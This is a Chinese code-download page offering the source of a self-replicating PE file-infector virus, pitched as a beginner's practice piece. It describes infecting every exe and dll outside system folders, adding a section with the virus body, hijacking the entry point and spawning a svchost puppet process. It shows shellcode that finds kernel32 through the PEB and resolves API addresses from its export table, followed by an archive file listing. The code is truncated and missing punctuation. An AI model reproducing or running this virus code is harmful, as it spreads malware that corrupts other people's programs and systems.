资源简介
众所周知,感染型病毒是通过感染计算机PE文件,来复制传播。病毒与PE文件同穿一条裤子,偷偷寄存在人家后院,尽干“不见得人”的事。
搜一下硬盘发现曾写过一个练过手,虽然写得不尽完美,但感染性还是有的,分享下,初学者能有一个直观印象,大鸟请拍砖。
病毒的目的创建svchost傀儡进程,感染计算机下所有非系统文件夹下的exe,dll文件,在被感染文件下添加一个节,把母体和shellcode写进去,修改入口。下次被感染母体运行时,释放病毒母体并运行,重复过程继续感染。
代码片段和文件信息
/* ************************************
*
* 功能 添加到PE文件的执行代码
*
**************************************/
#include
#include
#include “DataStruct.h“
#pragma comment(linker“/merge:.data=.text“)
#pragma comment(linker “/SECTION:.textREW“)
DWORD Matrix_size=0x600;
DWORD Matrix_start=0x401320;//假设母体重定位置
DWORD OrigEntyPoint=0xF1F1F1F2;//原来的EntryPoint
DWORD g_kernel32=0xF1F1F1F3;
char szKernel32[]=“Kernel32.dll“;
char szOpenMutexA[]=“OpenMutexA“;
char szReleaseMutex[]=“ReleaseMutex“;
char szCreateFileA[]=“CreateFileA“;
char szWriteFile[]=“WriteFile“;
char szCloseHandle[]=“CloseHandle“;
char szCreateProcessA[]=“CreateProcessA“;
char szMutexName[]=“MY_SYSTEM_DEMETRA_MAIN“;
char szGetModuleFileNameA[]=“GetModuleFileNameA“;
char szLoad[13]=“LoadLibraryA“;
char szGetpro[15]=“GetProcAddress“;
char szCurrentModuleName[MAX_PATH]=“ABCDEFGHIJKLMNOP“;
__declspec(naked)
void
getKernel32(){
__asm{
mov eaxfs:[0x30]
mov eax[eax+0xc]
mov esi[eax+0x1c]
lods dword ptr ds:[esi]
mov eax[eax+0x8]
mov g_kernel32eax
ret
}
}
/* ************************************
*
*ShellCode需要重定位,不宜有太多分支。简单容易提取
*
**************************************/
void ShellCode(){
_OPENMUTEX MyOpenMutex;
_RELEASEMUTEX MyReleaseMutex;
_CREATEFILE MyCreateFile;
_WRITEFILE MyWriteFile;
_CREATEPROCESS MyCreateProcess;
_CLOSEHANDLE MyCloseHandle;
_GETMODULEFILENAME MyGetModuleFileName;
_LOADLIBRARYA MyLoadLibraryA=NULL;
_GETPROCADDRESS MyGetProcAddress=NULL;
HMODULE hKernel32;
PIMAGE_EXPORT_DIRECTORY pImage_export_directory;
DWORD PE_RVA;
int NumberOfFunctions=0;
DWORD AddressOfNames;
getKernel32();
PE_RVA=*((DWORD*)(g_kernel32+0x3c));
pImage_export_directory=(PIMAGE_EXPORT_DIRECTORY)((*((DWORD*)(g_kernel32+PE_RVA+0x78)))+g_kernel32);//得到输出表VA
NumberOfFunctions=pImage_export_directory->NumberOfFunctions;//导出个数
AddressOfNames=pImage_export_directory->AddressOfNames+g_kernel32;//名字地址VA
/*得到LoadLibraryA和GetProcAddress的地址*/
for (int i=0;i {
char* szFunName=(char*)(*((DWORD*)(AddressOfNames+i*4))+g_kernel32);//指向导出函数名字地址
char* szSrcString=szLoad;
for(;*szSrcString==*szFunName && *szSrcString!=0;++szSrcString++szFunName);
if (!(*szFunName-*szSrcString))//是否相等
{
MyLoadLibraryA=(_LOADLIBRARYA)(*(((DWORD*)(pImage_export_directory->AddressOfFunctions+g_kernel32))+i)+g_kernel32);//得到地址
}
szFunName=(char*)(*((DWORD*)(AddressOfNames+i*4))+g_kernel32);//指向导出函数名字地址
szSrcString=szGetpro;
for(;*szSrcString==*szFunName && *szSrcString!=0;++szSrcString++szFunName);
if (!(*szFunName-*szSrcString))//是否相等
{
MyGetProcAddress=(_GETPROCADDRESS)(*(((DWORD*)(pImage_export_directory->AddressOfFunctions+g_kernel32))+i)+g_kernel32);//得到地址
}
}
hKernel32=MyLoadLibraryA(szKernel32);
MyOpenMutex=(_OPENMUTEX)MyGetProcAddress(hKernel32szOpenMutexA);
MyReleaseMutex=(_RELEASEMUTEX)MyGetProcAddress(hKernel32szReleas
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2014-03-21 00:09 完成v1.2\
目录 0 2014-03-21 00:09 完成v1.2\bin\
文件 45056 2013-05-11 22:16 完成v1.2\bin\完成v1.2.v
目录 0 2014-03-20 22:39 完成v1.2\源码v1.2\
目录 0 2014-03-13 11:23 完成v1.2\源码v1.2\ShellcodeTest\
文件 2216 2013-05-03 15:06 完成v1.2\源码v1.2\ShellcodeTest\DataStruct.h
文件 4734 2013-05-11 21:58 完成v1.2\源码v1.2\ShellcodeTest\ShellCodeTest.cpp
文件 4050 2013-05-03 20:42 完成v1.2\源码v1.2\ShellcodeTest\ShellcodeTest.vcxproj
文件 1074 2013-05-02 20:14 完成v1.2\源码v1.2\ShellcodeTest\ShellcodeTest.vcxproj.filters
文件 143 2013-05-02 17:31 完成v1.2\源码v1.2\ShellcodeTest\ShellcodeTest.vcxproj.user
文件 1536 2013-05-05 23:16 完成v1.2\源码v1.2\ShellcodeTest\ShellcodeTestSrv.exe
文件 1856 2013-05-11 22:09 完成v1.2\源码v1.2\Test.sln
文件 46080 2013-10-28 09:15 完成v1.2\源码v1.2\Test.suo
目录 0 2014-03-13 11:23 完成v1.2\源码v1.2\注入代码\
文件 5690 2013-05-10 17:43 完成v1.2\源码v1.2\注入代码\DataStruct.h
文件 27857 2013-10-25 11:52 完成v1.2\源码v1.2\注入代码\Inject.cpp
文件 1056 2013-05-05 18:23 完成v1.2\源码v1.2\注入代码\Shellcod_00401000.mem
文件 17824 2013-05-04 16:29 完成v1.2\源码v1.2\注入代码\注入代码.aps
文件 4140 2013-05-11 18:17 完成v1.2\源码v1.2\注入代码\注入代码.vcxproj
文件 1067 2013-05-05 18:38 完成v1.2\源码v1.2\注入代码\注入代码.vcxproj.filters
文件 143 2013-04-28 09:52 完成v1.2\源码v1.2\注入代码\注入代码.vcxproj.user
文件 34576 2013-05-04 16:29 完成v1.2\源码v1.2\注入代码\注入代码1.aps
目录 0 2014-03-13 11:23 完成v1.2\源码v1.2\测试目标\
文件 208 2013-05-07 15:30 完成v1.2\源码v1.2\测试目标\DataStruct.h
文件 674 2013-05-07 17:07 完成v1.2\源码v1.2\测试目标\ImportFuncStruct.h
文件 1735 2013-05-08 17:45 完成v1.2\源码v1.2\测试目标\MyFunction.h
文件 896 2013-05-07 14:21 完成v1.2\源码v1.2\测试目标\resource.h
文件 8474 2013-05-11 22:05 完成v1.2\源码v1.2\测试目标\Target.cpp
文件 6464 2013-05-07 20:43 完成v1.2\源码v1.2\测试目标\合成第四版(第四个版备份).mem
文件 8288 2013-05-11 20:45 完成v1.2\源码v1.2\测试目标\合成第四版.mem
文件 40224 2013-05-07 14:21 完成v1.2\源码v1.2\测试目标\测试目标.aps
............此处省略5个文件信息
- 上一篇:libcurl相关资源
- 下一篇:标准大气参数计算程序
相关资源
- 苹果4 shsh7.12
- unity3d 源代码 Space Game Starter Kit 太空射
- 用机器学习算法对UCI上的三个数据集
- 使用粒子群算法求解最优问题
- RFID 门禁代码
- Linux文件管理系统代码注释
- QT绘图程序
- mips处理器verilog代码实现AES功能
- VS code 调试 Cmake 工程 简单代码模板
- 交互式多模型滤波Imm代码
- 多目标粒子群源代码,非常详细的注
- 淘宝全屏背景代码
- TLS实现代码段加密
- lsp注入原理及其实现代码
- 光纤陀螺信号解调代码
- stm32 syn6288语音模块程序
- FFT 多项式乘法 C代码
- opencv 人脸识别 代码
- 餐厅预定座位系统代码
- 汇编代码直接转换二进制数据
- 计算机网络+课程设计源代码和实验报
- 中国城市代码对照表
- 蜜罐源代码
- 东华大学 操作系统实验 存储管理 含
- 操作系统实验三源代码加实验报告
- Kd-tree改进后的BBF算法
- SD卡_SPI驱动源代码.rar
- 学生成绩管理系统源代码
- 最小二乘法拟合原理及代码实现
- ldpc码源代码
评论
共有 条评论